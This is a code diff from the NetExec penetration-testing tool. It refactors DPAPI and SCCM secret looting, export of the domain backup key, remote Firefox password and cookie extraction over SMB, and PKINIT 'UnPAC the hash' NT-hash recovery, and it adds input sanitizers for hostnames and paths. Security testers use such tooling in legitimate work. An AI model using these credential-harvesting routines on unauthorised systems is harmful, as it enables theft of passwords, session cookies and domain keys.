+            sccm_triage = SCCMTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=sccm_callback)
+            sccm_triage.triage_sccm()
+        except Exception as e:
+            self.logger.debug(f"Error while looting sccm: {e}")
+
+    @property
+    def pvkbytes(self):
+        """
+        The pvkbytes. If not already initialized, tries to set it
+        The precedence order is the following :
+        - Check the pvk argument
+        - Checks in the DB
+        - Get it from a domain controller
+        """
+        # pvkbytes already loaded and in cache ? Serve it
+        if self._pvkbytes is not None:
+            return self._pvkbytes
+
+        pvkbytes = None
+
+        # First check the pvk argument and handle it
+        if self.connection.args.pvk is not None:
+            try:
+                with open(self.connection.args.pvk, "rb") as fd:
+                    pvkbytes = fd.read()
+                self.connection.logger.success(f"Loading domain backupkey from {self.connection.args.pvk}")
+            except Exception as e:
+                self.connection.logger.fail(str(e))
+
+        # If no pvkbytes yet, then we check in the DB
+        if pvkbytes is None:
+            try:
+                results = self.connection.db.get_domain_backupkey(self.connection.domain)
+            except Exception:
+                self.connection.logger.fail("Your version of nxcdb is not up to date, run nxcdb and create a new workspace: 'workspace create dpapi' then re-run the dpapi option")
+                return False
+            if len(results) > 0:
+                self.connection.logger.success("Loading domain backupkey from nxcdb...")
+                pvkbytes = results[0][2]
+
+        # If no pvkbytes yet, then we can try to get it from a domain controller
+        if pvkbytes is None and self.connection.no_da is None and self.connection.args.local_auth is False:
+            try:
+                dc_target = SMBTarget.create(
+                    domain=self.connection.domain,
+                    username=self.connection.username,
+                    password=self.connection.password,
+                    address=self.connection.kdcHost,  # querying DNS server for domain will return DC
+                    lmhash=self.connection.lmhash,
+                    nthash=self.connection.nthash,
+                    do_kerberos=self.connection.kerberos,
+                    aesKey=self.connection.aesKey,
+                    use_kcache=self.connection.use_kcache,
+                )
+                dc_conn = DPLootSMBConnection(dc_target)
+                dc_conn.connect()  # Connect to DC
+                if dc_conn.is_admin():
+                    self.connection.logger.success("User is Domain Administrator, exporting domain backupkey...")
+                    backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
+                    backupkey = backupkey_triage.triage_backupkey()
+                    pvkbytes = backupkey.backupkey_v2
+                    self.connection.db.add_domain_backupkey(self.connection.domain, pvkbytes)
+                else:
+                    self.connection.no_da = False
+            except Exception as e:
+                self.connection.logger.fail(f"Could not get domain backupkey: {e}")
+
+        self._pvkbytes = pvkbytes
+        return self._pvkbytes

nxc/helpers/firefox.py

@@ -11,9 +11,8 @@ from dataclasses import dataclass
 from typing import Any
 from Cryptodome.Cipher import AES, DES3
 from pyasn1.codec.der import decoder
-from dploot.lib.smb import DPLootSMBConnection
+from dploot.lib.network import DPLootConnection
 
-from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
 
 CKA_ID = unhexlify("f8000000000000000000000000000001")
 
@@ -61,7 +60,7 @@ class FirefoxTriage:
         "All Users",
     )
 
-    def __init__(self, target, logger, conn: DPLootSMBConnection = None, per_secret_callback: Any = None):
+    def __init__(self, target, logger, conn: DPLootConnection = None, per_secret_callback: Any = None):
         self.target = target
         self.logger = logger
         self.conn = conn
@@ -69,16 +68,13 @@ class FirefoxTriage:
         self.per_secret_callback = per_secret_callback
 
     def run(self, gather_cookies=False):
-        if self.conn is None:
-            upgrade_to_dploot_connection(target=self.target)
-
         firefox_data = []
         firefox_cookies = []
         # list users
-        users = self.get_users()
+        users = self.conn.list_users()
         for user in users:
             try:
-                directories = self.conn.remote_list_dir(share=self.share, path=self.firefox_generic_path.format(user))
+                directories = self.conn.list_dir(share=self.share, path=self.firefox_generic_path.format(user))
             except Exception as e:
                 if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
                     continue
@@ -89,18 +85,18 @@ class FirefoxTriage:
                 try:
                     if gather_cookies:
                         cookies_path = ntpath.join(self.firefox_generic_path.format(user), d.get_longname(), "cookies.sqlite")
-                        cookies_data = self.conn.readFile(self.share, cookies_path)
+                        cookies_data = self.conn.read_file(path=cookies_path, share=self.share)
                         if cookies_data is not None:
                             firefox_cookies += self.parse_cookie_data(user, cookies_data)
                     logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json"
-                    logins_data = self.conn.readFile(self.share, logins_path)
+                    logins_data = self.conn.read_file(path=logins_path, share=self.share)
                     if logins_data is None:
                         continue  # No logins.json file found
                     logins = self.get_login_data(logins_data=logins_data)
                     if len(logins) == 0:
                         continue  # No logins profile found
                     key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db"
-                    key4_data = self.conn.readFile(self.share, key4_path)
+                    key4_data = self.conn.read_file(path=key4_path, share=self.share)
                     if key4_data is None:
                         continue
                     # Get all available master keys (Firefox 144+ may have multiple keys)
@@ -252,17 +248,6 @@ class FirefoxTriage:
             self.logger.debug(e)
             return "", "", ""
 
-    def get_users(self):
-        users = []
-
-        users_dir_path = "Users\\*"
-        directories = self.conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
-
-        for d in directories:
-            if d.get_longname() not in self.false_positive and d.is_directory() > 0:
-                users.append(d.get_longname())  # ruff: ignore[manual-list-comprehension], ignoring for readability
-        return users
-
     @staticmethod
     def decode_login_data(data):
         asn1data = decoder.decode(b64decode(data))

nxc/helpers/misc.py

@@ -1,9 +1,12 @@
+from contextlib import suppress
 from enum import Enum
+import hashlib
 import random
 import string
 import re
 import inspect
 import os
+from unicodedata import normalize
 from termcolor import colored
 from ipaddress import ip_address
 from nxc.logger import nxc_logger
@@ -26,6 +29,91 @@ def gen_random_string(length=10):
     return "".join(random.sample(string.ascii_letters, int(length)))
 
 
+def sanitize_dns(hostname, logger=nxc_logger):
+    """Return an untrusted hostname or domain as a safe, nonempty string."""
+    # Always provide a safe fallback, even for missing or unstringable input.
+    if hostname is None:
+        return "_"
+
+    try:
+        hostname = hostname.decode("utf-8", errors="surrogateescape") if isinstance(hostname, bytes) else str(hostname)
+    except Exception:
+        return "_"
+    if not hostname:
+        return "_"
+
+    # Replace path, configuration, formatting, whitespace, and control characters.
+    unsafe_characters = '<>:"/\\|?*{}[]=#;\''  # Portable paths, format strings, hosts files, and krb5.conf
+    sanitized = "".join(
+        character if character.isprintable()
+        and not character.isspace()
+        and character not in unsafe_characters
+        and all(
+            normalized_character.isprintable()
+            and not normalized_character.isspace()
+            and normalized_character not in unsafe_characters
+            for normalized_character in normalize("NFKC", character)
+        )
+        else "_"
+        for character in hostname
+    )
+
+    # Neutralize traversal segments and Windows-trimmed trailing dots.
+    if normalize("NFKC", sanitized) in (".", ".."):
+        sanitized = "_" * len(sanitized)
+    if sanitized.endswith(".") or normalize("NFKC", sanitized[-1]).endswith("."):
+        sanitized = f"{sanitized[:-1]}_"
+
+    # Bound filename length while retaining a stable identifier for long names.
+    if len(sanitized.encode("utf-8")) > 253:
+        suffix = f"_{hashlib.sha256(hostname.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}"
+        byte_length = 0
+        truncated = []
+        for character in sanitized:
+            character_length = len(character.encode("utf-8"))
+            if byte_length + character_length > 253 - len(suffix):
+                break
+            truncated.append(character)
+            byte_length += character_length
+        sanitized = f"{''.join(truncated)}{suffix}"
+
+    # Fail closed if a future change violates any output invariant.
+    normalized = normalize("NFKC", sanitized)
+    if (
+        not sanitized
+        or not normalized
+        or len(sanitized.encode("utf-8")) > 253
+        or normalized in (".", "..")
+        or normalized.endswith(".")
+        or any(
+            not character.isprintable()
+            or character.isspace()
+            or character in unsafe_characters
+            or any(
+                not normalized_character.isprintable()
+                or normalized_character.isspace()
+                or normalized_character in unsafe_characters
+                for normalized_character in normalize("NFKC", character)
+            )
+            for character in sanitized
+        )
+    ):
+        sanitized = "_"
+
+    # Report changed input without allowing logging failures to affect safety.
+    if sanitized != hostname:
+        received = ascii(hostname[:256])
+        result = ascii(sanitized)
+        if len(hostname) > 256 or len(received) > 256:
+            received = f"{received[:253]}..."
+        if len(result) > 256:
+            result = f"{result[:253]}..."
+        if logger is not None:
+            with suppress(Exception):
+                logger.fail(f"Unsafe hostname or domain received: {received}; using {result}")
+    return sanitized
+
+
 def validate_ntlm(data):
     allowed = re.compile(r"^[0-9a-f]{32}", re.IGNORECASE)
     return bool(allowed.match(data))

nxc/helpers/negotiate_parser.py

@@ -12,6 +12,7 @@ import contextlib
 def parse_challenge(challange):
     target_info = {
         "hostname": None,
+        "dns_hostname": None,
         "domain": None,
         "os_version": None
     }
@@ -20,6 +21,9 @@ def parse_challenge(challange):
     if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
         with contextlib.suppress(Exception):
             target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
+    if av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME] is not None:
+        with contextlib.suppress(Exception):
+            target_info["dns_hostname"] = av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME][1].decode("utf-16le")
     if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
         with contextlib.suppress(Exception):
             target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")

nxc/helpers/path.py

@@ -0,0 +1,107 @@
+import hashlib
+from pathlib import PurePosixPath
+import re
+from unicodedata import normalize
+
+
+def sanitize_path_component(name, max_bytes=255):
+    """Return one portable, bounded path component from untrusted input."""
+    # Reserve enough space for one character and the collision-resistant suffix.
+    if max_bytes < 14:
+        raise ValueError("max_bytes must be at least 14")
+
+    # Always provide a safe fallback, even for missing or unstringable input.
+    try:
+        name = name.decode("utf-8", errors="surrogateescape") if isinstance(name, bytes) else str(name) if name is not None else ""
+    except Exception:
+        name = ""
+    if not name:
+        return "_"
+
+    # Replace path, control, and Unicode-equivalent metacharacters.
+    unsafe_characters = '<>:"/\\|?*'  # Portable filename metacharacters
+    sanitized = "".join(
+        character if character.isprintable()
+        and character not in unsafe_characters
+        and all(
+            normalized_character.isprintable() and normalized_character not in unsafe_characters
+            for normalized_character in normalize("NFKC", character)
+        )
+        else "_"
+        for character in name
+    )
+
+    # Neutralize traversal-only names and Windows-trimmed trailing dots or spaces.
+    if normalize("NFKC", sanitized) in (".", ".."):
+        sanitized = "_" * len(sanitized)
+    while sanitized and (
+        sanitized[-1] == "."
+        or sanitized[-1].isspace()
+        or normalize("NFKC", sanitized[-1]).endswith(".")
+        or any(character.isspace() for character in normalize("NFKC", sanitized[-1]))
+    ):
+        sanitized = f"{sanitized[:-1]}_"
+
+    # Avoid Windows device names, including names followed by an extension.
+    normalized_stem = normalize("NFKC", sanitized).split(".", 1)[0].rstrip(" ").upper()
+    if normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"} or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem):
+        sanitized = f"_{sanitized}"
+
+    # Bound the byte length with a stable digest while preserving short extensions.
+    if len(sanitized.encode("utf-8")) > max_bytes:
+        digest = f"_{hashlib.sha256(name.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}"
+        extension = ""
+        extension_index = sanitized.rfind(".")
+        if (
+            extension_index > 0
+            and len(sanitized[extension_index:].encode("utf-8")) <= 32
+            and len(sanitized[extension_index:].encode("utf-8")) <= max_bytes - len(digest)
+        ):
+            extension = sanitized[extension_index:]
+            sanitized = sanitized[:extension_index]
+        byte_length = 0
+        truncated = []
+        for character in sanitized:
+            character_length = len(character.encode("utf-8"))
+            if byte_length + character_length > max_bytes - len(digest) - len(extension.encode("utf-8")):
+                break
+            truncated.append(character)
+            byte_length += character_length
+        sanitized = f"{''.join(truncated)}{digest}{extension}"
+
+    # Fail closed if a future change violates any output invariant.
+    normalized = normalize("NFKC", sanitized)
+    normalized_stem = normalized.split(".", 1)[0].rstrip(" ").upper()
+    if (
+        not sanitized
+        or not normalized
+        or len(sanitized.encode("utf-8")) > max_bytes
+        or normalized in (".", "..")
+        or normalized.endswith(".")
+        or normalized[-1].isspace()
+        or normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"}
+        or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem)
+        or any(
+            not character.isprintable()
+            or character in unsafe_characters
+            or any(
+                not normalized_character.isprintable() or normalized_character in unsafe_characters
+                for normalized_character in normalize("NFKC", character)
+            )
+            for character in sanitized
+        )
+    ):
+        return "_"
+    return sanitized
+
+
+def sanitize_filename(name: str) -> str:
+    """Strip path traversal components from an SMB filename.
+
+    Follows the pattern from spider_plus.py — filters '..' and '.' from
+    PurePosixPath.parts to prevent directory traversal attacks from
+    malicious SMB servers.
+    """
+    parts = PurePosixPath(name.replace("\\", "/")).parts
+    clean = [p for p in parts if p not in ("..", ".", "/")]
+    return str(PurePosixPath(*clean)) if clean else ""

nxc/helpers/pfx.py

@@ -1,570 +1,216 @@
-# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
-#
-# This software is provided under under a slightly modified version
-# of the Apache Software License. See the accompanying LICENSE file
-# for more information.
-#
-# Author:
-#  Alberto Solino (@agsolino)
-#  Dirk-jan Mollema (@_dirkjan)
-#
-# Description:
-#     This script will use an existing TGT to request a PAC for the current user using U2U.
-#     When the TGT was obtained using PKINIT, the resulting PAC will contain the NT hash which can be
-#     used for silver tickets and for backwards compatibility with other tooling.
+# Certificate authentication for nxc: PKINIT (RFC 4556) through impacket, plus UnPAC the hash
 #
 # References:
-#
+#     PKINIT: https://www.rfc-editor.org/rfc/rfc4556
 #     U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02
 #
-# Based on examples from minikerberos by skelsec
-# Parts of this code was inspired by the following project by @rubin_mor
-# https://github.com/morRubin/AzureADJoinedMachinePTC
-#
-# Author:
-#  Tamas Jos (@skelsec)
-#  Dirk-jan Mollema (@_dirkjan)
-#
+# Authors:
+#  Azox (@azoxlpf) for the PKINIT implementation, in impacket and in nxc
+#  Dirk-jan Mollema (@_dirkjan) for the original UnPAC the hash implementation
 
-import os
-import secrets
-import hashlib
-import datetime
-import random
 import base64
+import datetime
+import os
+import random
+import tempfile
 
-from binascii import unhexlify, hexlify
-
-from cryptography.hazmat.primitives import hashes, serialization
-from cryptography.hazmat.primitives.asymmetric import padding, rsa
-from cryptography.hazmat.primitives.serialization import pkcs12
-from cryptography.x509 import load_pem_x509_certificate, load_der_x509_certificate
-
-from asn1crypto import cms
-from asn1crypto import algos
-from asn1crypto import core
-from asn1crypto import keys
-from asn1crypto import x509
-
-from minikerberos.protocol.dirtydh import DirtyDH
-from minikerberos.protocol.constants import NAME_TYPE, PaDataType
-from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
-from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, PA_PAC_REQUEST
-from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ
+from binascii import hexlify
 
 from pyasn1.codec.der import decoder, encoder
+from pyasn1.error import PyAsn1Error
 from pyasn1.type.univ import noValue
 
 from impacket.dcerpc.v5.rpcrt import TypeSerialization1
 from impacket.krb5 import constants
-from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1
-from impacket.krb5.kerberosv5 import sendReceive
-from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, PAC_CREDENTIAL_INFO, \
-    PAC_CREDENTIAL_DATA, NTLM_SUPPLEMENTAL_CREDENTIAL
-from impacket.krb5.types import Principal, KerberosTime, Ticket
+from impacket.krb5.asn1 import AD_IF_RELEVANT, AP_REQ, AS_REP, Authenticator, EncTicketPart, TGS_REP, TGS_REQ, Ticket as TicketAsn1, seq_set, seq_set_iter
+from impacket.krb5.ccache import CCache
+from impacket.krb5.crypto import InvalidChecksum, _enctype_table
+from impacket.krb5.kerberosv5 import KerberosError, sendReceive
+from impacket.krb5.pac import NTLM_SUPPLEMENTAL_CREDENTIAL, PACTYPE, PAC_CREDENTIAL_DATA, PAC_CREDENTIAL_INFO, PAC_INFO_BUFFER
+from impacket.krb5.pkinit import PKINITCredentials, PKINITError, getKerberosTGTPKINIT
+from impacket.krb5.types import KerberosTime, Principal, Ticket
 
-# Imports for pfx_auth
-from minikerberos.network.clientsocket import KerberosClientSocket
-from minikerberos.common.target import KerberosTarget
-from minikerberos.common.ccache import CCACHE
-
-from impacket.krb5.ccache import CCache as impacket_CCache
-
-from nxc.paths import NXC_PATH
-from nxc.logger import nxc_logger
+from nxc.helpers.path import sanitize_path_component
+from nxc.paths import NXC_PATH, TMP_PATH
 
 
-def _load_asn1_certificate(data):
-    """Load a certificate as an asn1crypto object, accepting both PEM and DER input
+def pkinit_credentials(args):
+    """Load the client certificate and its private key as the PKINIT credentials impacket expects"""
+    if args.pfx_cert:
+        return PKINITCredentials.fromPFX(args.pfx_cert, args.pfx_pass)
 
-    The certificate is parsed by cryptography and re-encoded, so that malformed input is
-    rejected here instead of failing later inside asn1crypto, which parses lazily
+    if args.pfx_base64:
+        with open(args.pfx_base64, "rb") as pfx_base64_file:
+            pfxdata = base64.b64decode(pfx_base64_file.read())
+        return PKINITCredentials.fromPFXData(pfxdata, args.pfx_pass, source=f"the base64 PFX file {args.pfx_base64}")
+
+    if args.pem_cert and args.pem_key:
+        return PKINITCredentials.fromPEM(args.pem_cert, args.pem_key, args.pfx_pass)
+
+    return None
+
+
+def read_nt_hash_from_pac(connection, enc_ticket_part, reply_key):
+    """Return the NT hash held by the PAC_CREDENTIAL_INFO of a ticket, or None when the PAC carries none"""
+    decoded_ticket_part = decoder.decode(enc_ticket_part, asn1Spec=EncTicketPart())[0]
+    ad_if_relevant = decoder.decode(decoded_ticket_part["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[0]
+    pac_type = PACTYPE(ad_if_relevant[0]["ad-data"].asOctets())
+
+    buffers = pac_type["Buffers"]
+    for _ in range(pac_type["cBuffers"]):
+        info_buffer = PAC_INFO_BUFFER(buffers)
+        buffers = buffers[len(info_buffer):]
+        connection.logger.debug(f"PAC buffer type {info_buffer['ulType']}")
+        if info_buffer["ulType"] != 2:   # PAC_CREDENTIAL_INFO
+            continue
+
+        credential_info = PAC_CREDENTIAL_INFO(pac_type["Buffers"][info_buffer["Offset"] - 8:][:info_buffer["cbBufferSize"]])
+        cipher = _enctype_table[credential_info["EncryptionType"]]
+        # Key usage 16: the PAC credential info, encrypted with the AS reply key
+        credential_data = cipher.decrypt(reply_key, 16, credential_info["SerializedData"])
+        serialization_header = TypeSerialization1(credential_data)
+        # Skip the 4 bytes of the ReferentID of the pointer following the header
+        credentials = PAC_CREDENTIAL_DATA(credential_data[len(serialization_header) + 4:])
+        for credential in credentials["Credentials"]:
+            supplemental_credential = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(credential["Credentials"]))
+            return hexlify(supplemental_credential["NtPassword"]).decode()
+
+    connection.logger.fail("The PAC holds no PAC_CREDENTIAL_INFO: the account has no NT hash stored, or the TGT did not come from PKINIT")
+    return None
+
+
+def unpac_the_hash(connection, username, tgt, cipher, reply_key, session_key):
+    """Recover the NT hash of the account the TGT belongs to, through a U2U service ticket to itself
+
+    Only a PKINIT AS-REP carries a PAC_CREDENTIAL_INFO, and the KDC encrypts it with the AS reply key,
+    which the TGT does not expose: it has to be read from a ticket requested with that very TGT.
+    Returns None, after logging why, when the hash cannot be recovered
     """
-    cert = load_pem_x509_certificate(data) if b"-----BEGIN" in data else load_der_x509_certificate(data)
-    return _to_asn1_certificate(cert)
-
-
-def _to_asn1_certificate(cert):
-    """Convert a cryptography certificate to the asn1crypto object the CMS structures need"""
-    return x509.Certificate.load(cert.public_bytes(serialization.Encoding.DER))
-
-
-def _check_rsa_privkey(privkey):
-    """PKINIT signing here is RSA PKCS#1 v1.5 only, so reject anything else early"""
-    if not isinstance(privkey, rsa.RSAPrivateKey):
-        raise Exception(f"PKINIT requires an RSA private key, got {type(privkey).__name__}")
-    return privkey
-
-
-class myPKINIT:
-    """
-    Copy of minikerberos PKINIT
-    With some changes where it differs from PKINIT used in NegoEx
-
-    This does not subclass minikerberos.pkinit.PKINIT on purpose: that module imports oscrypto,
-    which fails at import time on any OpenSSL whose version has a two digit component
-    """
-
-    def __init__(self):
-        self.privkey = None
-        self.certificate = None
-        self.issuer = None
-        self.cname = None
-        self.diffie = None
-
-    @staticmethod
-    def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False):
-        with open(pfxfile, "rb") as f:
-            pfxdata = f.read()
-
-        if b64:
-            pfxdata = base64.b64decode(pfxdata)
-
-        return myPKINIT.from_pfx_data(pfxdata, pfxpass, dh_params)
-
-    @staticmethod
-    def from_pfx_data(pfxdata, pfxpass, dh_params=None):
-        pkinit = myPKINIT()
-        if isinstance(pfxpass, str):
-            pfxpass = pfxpass.encode()
-        # cryptography requires None (not an empty password) for a pfx without password
-        privkey, cert, _ = pkcs12.load_key_and_certificates(pfxdata, pfxpass if pfxpass else None)
-        # a pfx holding only a certificate parses fine, so check the key before the certificate
-        if privkey is None:
-            raise Exception("No private key found in the PFX file")
-        if cert is None:
-            raise Exception("No certificate found in the PFX file")
-        pkinit.privkey = _check_rsa_privkey(privkey)
-        pkinit.certificate = _to_asn1_certificate(cert)
-        pkinit.setup(dh_params=dh_params)
-        return pkinit
-
-    @staticmethod
-    def from_pem(certfile, privkeyfile, dh_params=None):
-        pkinit = myPKINIT()
-        with open(certfile, "rb") as f:
-            pkinit.certificate = _load_asn1_certificate(f.read())
-        with open(privkeyfile, "rb") as f:
-            keydata = f.read()
-        try:
-            try:
-                privkey = serialization.load_pem_private_key(keydata, password=None)
-            except ValueError:
-                privkey = serialization.load_der_private_key(keydata, password=None)
-        except TypeError as e:
-            # raised by both loaders when the key is encrypted and no password was given
-            raise Exception(f"Private key {privkeyfile} is password protected, which is not supported. Decrypt it first with: openssl rsa -in {privkeyfile} -out decrypted.pem") from e
-        pkinit.privkey = _check_rsa_privkey(privkey)
-        pkinit.setup(dh_params=dh_params)
-        return pkinit
-
-    def sign_authpack(self, data, wrap_signed=False):
-        return self.sign_authpack_native(data, wrap_signed)
-
-    def setup(self, dh_params=None):
-        self.issuer = self.certificate.issuer.native["common_name"]
-        if dh_params is None:
-            nxc_logger.display("Generating DH params...")
-            nxc_logger.display("DH params generated.")
-        else:
-            if isinstance(dh_params, dict):
-                self.diffie = DirtyDH.from_dict(dh_params)
-            elif isinstance(dh_params, bytes):
-                self.diffie = DirtyDH.from_asn1(dh_params)
-            elif isinstance(dh_params, DirtyDH):
-                self.diffie = dh_params
-            else:
-                raise Exception("DH params must be either a bytearray or a dict")
-
-    def build_asreq(self, domain=None, cname=None, kdcopts=None):
-        if kdcopts is None:
-            kdcopts = ["forwardable", "renewable", "renewable-ok"]
-        if isinstance(kdcopts, list):
-            kdcopts = set(kdcopts)
-        if cname is not None:
-            if isinstance(cname, str):
-                cname = [cname]
-        else:
-            cname = [self.cname]
-
-        now = datetime.datetime.now(datetime.timezone.utc)
-
-        kdc_req_body_data = {}
-        kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts)
-        kdc_req_body_data["cname"] = PrincipalName({"name-type": NAME_TYPE.PRINCIPAL.value, "name-string": cname})
-        kdc_req_body_data["realm"] = domain.upper()
-        kdc_req_body_data["sname"] = PrincipalName({"name-type": NAME_TYPE.SRV_INST.value, "name-string": ["krbtgt", domain.upper()]})
-        kdc_req_body_data["till"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
-        kdc_req_body_data["rtime"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
-        kdc_req_body_data["nonce"] = secrets.randbits(31)
-        kdc_req_body_data["etype"] = [18, 17]  # 23 breaks...
-        kdc_req_body = KDC_REQ_BODY(kdc_req_body_data)
-
-        checksum = hashlib.sha1(kdc_req_body.dump()).digest()
-
-        authenticator = {}
-        authenticator["cusec"] = now.microsecond
-        authenticator["ctime"] = now.replace(microsecond=0)
-        authenticator["nonce"] = secrets.randbits(31)
-        authenticator["paChecksum"] = checksum
-
-        dp = {}
-        dp["p"] = self.diffie.p
-        dp["g"] = self.diffie.g
-        dp["q"] = 0  # mandatory parameter, but it is not needed
-
-        pka = {}
-        pka["algorithm"] = "1.2.840.10046.2.1"
-        pka["parameters"] = keys.DomainParameters(dp)
-
-        spki = {}
-        spki["algorithm"] = keys.PublicKeyAlgorithm(pka)
-        spki["public_key"] = self.diffie.get_public_key()
-
-        authpack = {}
-        authpack["pkAuthenticator"] = PKAuthenticator(authenticator)
-        authpack["clientPublicValue"] = keys.PublicKeyInfo(spki)
-        authpack["clientDHNonce"] = self.diffie.dh_nonce
-
-        authpack = AuthPack(authpack)
-        signed_authpack = self.sign_authpack(authpack.dump(), wrap_signed=True)
-
-        payload = PA_PK_AS_REQ()
-        payload["signedAuthPack"] = signed_authpack
-
-        pa_data_1 = {}
-        pa_data_1["padata-type"] = PaDataType.PK_AS_REQ.value
-        pa_data_1["padata-value"] = payload.dump()
-
-        pa_data_0 = {}
-        pa_data_0["padata-type"] = int(PADATA_TYPE("PA-PAC-REQUEST"))
-        pa_data_0["padata-value"] = PA_PAC_REQUEST({"include-pac": True}).dump()
-
-        asreq = {}
-        asreq["pvno"] = 5
-        asreq["msg-type"] = 10
-        asreq["padata"] = [pa_data_0, pa_data_1]
-        asreq["req-body"] = kdc_req_body
-
-        return AS_REQ(asreq).dump()
-
-    def sign_authpack_native(self, data, wrap_signed=False):
-        """
-        Creating PKCS7 blob which contains the following things:
-
-        1. 'data' blob which is an ASN1 encoded "AuthPack" structure
-        2. the certificate used to sign the data blob
-        3. the singed 'signed_attrs' structure (ASN1) which points to the "data" structure (in point 1)
-        """
-        da = {}
-        da["algorithm"] = algos.DigestAlgorithmId("1.3.14.3.2.26")  # for sha1
-
-        si = {}
-        si["version"] = "v1"
-        si["sid"] = cms.IssuerAndSerialNumber({
-            "issuer":  self.certificate.issuer,
-            "serial_number":  self.certificate.serial_number,
-        })
-
-        si["digest_algorithm"] = algos.DigestAlgorithm(da)
-        si["signed_attrs"] = [
-            cms.CMSAttribute({"type": "content_type", "values": ["1.3.6.1.5.2.3.1"]}),  # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed )
-            cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}),  # hash of the data, the data itself will not be signed, but this block of data will be.
-        ]
-        si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"})
-        si["signature"] = self.privkey.sign(cms.CMSAttributes(si["signed_attrs"]).dump(), padding.PKCS1v15(), hashes.SHA1())
-
-        ec = {}
-        ec["content_type"] = "1.3.6.1.5.2.3.1"
-        ec["content"] = data
-
-        sd = {}
-        sd["version"] = "v3"
-        sd["digest_algorithms"] = [algos.DigestAlgorithm(da)]  # must have only one
-        sd["encap_content_info"] = cms.EncapsulatedContentInfo(ec)
-        sd["certificates"] = [self.certificate]
-        sd["signer_infos"] = cms.SignerInfos([cms.SignerInfo(si)])
-
-        if wrap_signed is True:
-            ci = {}
-            ci["content_type"] = "1.2.840.113549.1.7.2"  # signed data OID
-            ci["content"] = cms.SignedData(sd)
-            return cms.ContentInfo(ci).dump()
-
-        return cms.SignedData(sd).dump()
-
-    def decrypt_asrep(self, as_rep):
-        def truncate_key(value, keysize):
-            output = b""
-            currentNum = 0
-            while len(output) < keysize:
-                currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest()
-                if len(output) + len(currentDigest) > keysize:
-                    output += currentDigest[:keysize - len(output)]
-                    break
-                output += currentDigest
-                currentNum += 1
-
-            return output
-
-        for pa in as_rep["padata"]:
-            if pa["padata-type"] == 17:
-                pkasrep = PA_PK_AS_REP.load(pa["padata-value"]).native
-                break
-        else:
-            raise Exception("PA_PK_AS_REP not found!")
-        ci = cms.ContentInfo.load(pkasrep["dhSignedData"]).native
-        sd = ci["content"]
-        keyinfo = sd["encap_content_info"]
-        if keyinfo["content_type"] != "1.3.6.1.5.2.3.2":
-            raise Exception("Keyinfo content type unexpected value")
-        authdata = KDCDHKeyInfo.load(keyinfo["content"]).native
-        pubkey = int("".join(["1"] + [str(x) for x in authdata["subjectPublicKey"]]), 2)
-
-        pubkey = int.from_bytes(core.BitString(authdata["subjectPublicKey"]).dump()[7:], "big", signed=False)
-        shared_key = self.diffie.exchange(pubkey)
-
-        server_nonce = pkasrep["serverDHNonce"]
-        fullKey = shared_key + self.diffie.dh_nonce + server_nonce
-
-        etype = as_rep["enc-part"]["etype"]
-        cipher = _enctype_table[etype]
-        if etype == Enctype.AES256:
-            t_key = truncate_key(fullKey, 32)
-        elif etype == Enctype.AES128:
-            t_key = truncate_key(fullKey, 16)
-        elif etype == Enctype.RC4:
-            raise NotImplementedError("RC4 key truncation documentation missing. it is different from AES")
-
-        key = Key(cipher.enctype, t_key)
-        enc_data = as_rep["enc-part"]["cipher"]
-        nxc_logger.info("AS-REP encryption key (you might need this later):")
-        nxc_logger.info(hexlify(t_key).decode("utf-8"))
-        dec_data = cipher.decrypt(key, 3, enc_data)
-        encasrep = EncASRepPart.load(dec_data).native
-        cipher = _enctype_table[int(encasrep["key"]["keytype"])]
-        session_key = Key(cipher.enctype, encasrep["key"]["keyvalue"])
-        return encasrep, session_key, cipher, hexlify(t_key).decode("utf-8")
-
-
-class GETPAC:
-
-    def printPac(self, data, key=None):
-        nthash = None
-        encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0]
-        adIfRelevant = decoder.decode(encTicketPart["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[
-            0]
